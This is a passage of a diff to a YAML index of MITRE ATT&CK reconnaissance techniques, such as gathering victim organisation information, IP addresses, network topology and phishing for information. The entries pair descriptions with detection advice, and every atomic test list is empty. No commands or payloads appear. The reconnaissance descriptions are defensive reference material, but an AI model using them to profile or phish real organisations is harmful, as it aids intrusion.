+        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
+        source_name: DNS Dumpster
+      - url: https://www.circl.lu/services/passive-dns/
+        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
+          Retrieved October 20, 2020.
+        source_name: Circl Passive DNS
+    atomic_tests: []
+  T1591:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Gather Victim Org Information
+      x_mitre_version: '1.1'
+      modified: '2021-08-27T15:37:09.343Z'
+      created: '2020-10-02T16:27:02.339Z'
       x_mitre_platforms:
       - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23
+      description: |-
+        Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.
+
+        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
+      x_mitre_detection: |-
+        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+
+        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1591
+        external_id: T1591
+        source_name: mitre-attack
+      - url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
+        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
+          Personal Voicemail Transcripts. Retrieved October 20, 2020.
+        source_name: ThreatPost Broadvoice Leak
+      - url: https://www.sec.gov/edgar/search-and-access
+        description: U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August
+          27, 2021.
+        source_name: SEC EDGAR Search
     atomic_tests: []
   T1592.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1592.001
-        url: https://attack.mitre.org/techniques/T1592/001
-      - source_name: ATT ScanBox
-        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
-        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
-          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Hardware
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:32:10.810Z'
+      created: '2020-10-02T16:40:47.488Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26
       description: |-
         Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).
 
         Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).
-      id: attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:23:21.031Z'
-      created: '2020-10-02T16:40:47.488Z'
       x_mitre_detection: |-
-        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+        Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)
 
-        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1592/001
+        external_id: T1592.001
+        source_name: mitre-attack
+      - url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
+        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
+          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
+        source_name: ATT ScanBox
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
     atomic_tests: []
   T1590.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1590.005
-        url: https://attack.mitre.org/techniques/T1590/005
-      - source_name: WHOIS
-        url: https://www.whois.net/
-        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
-      - source_name: DNS Dumpster
-        url: https://dnsdumpster.com/
-        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
-      - source_name: Circl Passive DNS
-        url: https://www.circl.lu/services/passive-dns/
-        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
-          Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: IP Addresses
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:31:05.302Z'
+      created: '2020-10-02T15:59:11.695Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3
       description: |-
         Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.
 
         Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
-      id: attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:31:05.302Z'
-      created: '2020-10-02T15:59:11.695Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1590/005
+        external_id: T1590.005
+        source_name: mitre-attack
+      - url: https://www.whois.net/
+        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
+        source_name: WHOIS
+      - url: https://dnsdumpster.com/
+        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
+        source_name: DNS Dumpster
+      - url: https://www.circl.lu/services/passive-dns/
+        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
+          Retrieved October 20, 2020.
+        source_name: Circl Passive DNS
     atomic_tests: []
   T1591.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1591.003
-        url: https://attack.mitre.org/techniques/T1591/003
-      - source_name: ThreatPost Broadvoice Leak
-        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
-        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
-          Personal Voicemail Transcripts. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Identify Business Tempo
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:38:31.983Z'
+      created: '2020-10-02T16:34:32.435Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f
       description: |-
         Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.
 
         Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))
-      id: attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:38:31.983Z'
-      created: '2020-10-02T16:34:32.435Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1591/003
+        external_id: T1591.003
+        source_name: mitre-attack
+      - url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
+        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
+          Personal Voicemail Transcripts. Retrieved October 20, 2020.
+        source_name: ThreatPost Broadvoice Leak
     atomic_tests: []
   T1591.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1591.004
-        url: https://attack.mitre.org/techniques/T1591/004
-      - source_name: ThreatPost Broadvoice Leak
-        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
-        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
-          Personal Voicemail Transcripts. Retrieved October 20, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-04-15T03:39:08.904Z'
       name: Identify Roles
+      x_mitre_version: '1.0'
+      created: '2020-10-02T16:37:30.015Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4
       description: |-
         Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.
 
         Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
-      id: attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:39:08.904Z'
-      created: '2020-10-02T16:37:30.015Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1591/004
+        external_id: T1591.004
+        source_name: mitre-attack
+      - url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
+        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
+          Personal Voicemail Transcripts. Retrieved October 20, 2020.
+        source_name: ThreatPost Broadvoice Leak
     atomic_tests: []
   T1590.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1590.006
-        url: https://attack.mitre.org/techniques/T1590/006
-      - source_name: Nmap Firewalls NIDS
-        url: https://nmap.org/book/firewalls.html
-        description: Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls
-          and Intrusion Detection Systems. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Network Security Appliances
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:31:54.275Z'
+      created: '2020-10-02T16:01:35.350Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413
       description: |-
         Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.
 
         Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
-      id: attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:31:54.275Z'
-      created: '2020-10-02T16:01:35.350Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1590/006
+        external_id: T1590.006
+        source_name: mitre-attack
+      - url: https://nmap.org/book/firewalls.html
+        description: Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls
+          and Intrusion Detection Systems. Retrieved October 20, 2020.
+        source_name: Nmap Firewalls NIDS
     atomic_tests: []
   T1590.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1590.004
-        url: https://attack.mitre.org/techniques/T1590/004
-      - source_name: DNS Dumpster
-        url: https://dnsdumpster.com/
-        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Network Topology
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:33:02.476Z'
+      created: '2020-10-02T15:49:03.815Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5
       description: |-
         Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.
 
         Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
-      id: attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:33:02.476Z'
-      created: '2020-10-02T15:49:03.815Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1590/004
+        external_id: T1590.004
+        source_name: mitre-attack
+      - url: https://dnsdumpster.com/
+        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
+        source_name: DNS Dumpster
     atomic_tests: []
   T1590.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1590.003
-        url: https://attack.mitre.org/techniques/T1590/003
-      - source_name: Pentesting AD Forests
-        url: https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019
-        description: García, C. (2019, April 3). Pentesting Active Directory Forests.
-          Retrieved October 20, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Network Trust Dependencies
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:34:22.917Z'
+      created: '2020-10-02T15:47:59.457Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e
       description: |-
         Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.
 
         Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
-      id: attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: reconnaissance
-      modified: '2021-04-15T03:34:22.917Z'
-      created: '2020-10-02T15:47:59.457Z'
       x_mitre_detection: |-
         Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
 
         Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1590/003
+        external_id: T1590.003
+        source_name: mitre-attack
+      - url: https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019
+        description: García, C. (2019, April 3). Pentesting Active Directory Forests.
+          Retrieved October 20, 2020.
+        source_name: Pentesting AD Forests
     atomic_tests: []
   T1598:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1598
-        url: https://attack.mitre.org/techniques/T1598
-      - source_name: ThreatPost Social Media Phishing
-        url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
-        description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching
-          Pad For Phishing Attacks. Retrieved October 20, 2020.'
-      - source_name: TrendMictro Phishing
-        url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html
-        description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved
-          October 20, 2020.
-      - source_name: PCMag FakeLogin
-        url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
-        description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations
-          Staffers With Fake Login Pages. Retrieved October 20, 2020.
-      - source_name: Sophos Attachment
-        url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
-        description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without
-          links – when phishers bring along their own web pages. Retrieved October
-          20, 2020.'
-      - source_name: GitHub Phishery
-        url: https://github.com/ryhanson/phishery
-        description: Ryan Hanson. (2016, September 24). phishery. Retrieved October
-          23, 2020.
-      - source_name: Microsoft Anti Spoofing
-        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
-        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
-          Retrieved October 19, 2020.
-      - source_name: ACSC Email Spoofing
-        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
-        description: Australian Cyber Security Centre. (2012, December). Mitigating
-          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Phishing for Information
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      modified: '2021-04-15T03:43:13.134Z'
+      created: '2020-10-02T17:07:01.502Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: reconnaissance
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a
       description: |-
         Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.
 
         All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.
 
         Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
-      id: attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: reconnaissance
-      modified: '2021-04-15T03:43:13.134Z'
-      created: '2020-10-02T17:07:01.502Z'
       x_mitre_contributors:
       - Philip Winther
       - Sebastian Salla, McAfee
       - Robert Simmons, @MalwareUtkonos
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
       x_mitre_detection: |-
         Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)
 
         When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.
 
         Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1598
+        external_id: T1598
+        source_name: mitre-attack
+      - url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
+        description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching
+          Pad For Phishing Attacks. Retrieved October 20, 2020.'
+        source_name: ThreatPost Social Media Phishing
+      - url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html
+        description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved
+          October 20, 2020.
+        source_name: TrendMictro Phishing
+      - url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
+        description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations
+          Staffers With Fake Login Pages. Retrieved October 20, 2020.
+        source_name: PCMag FakeLogin
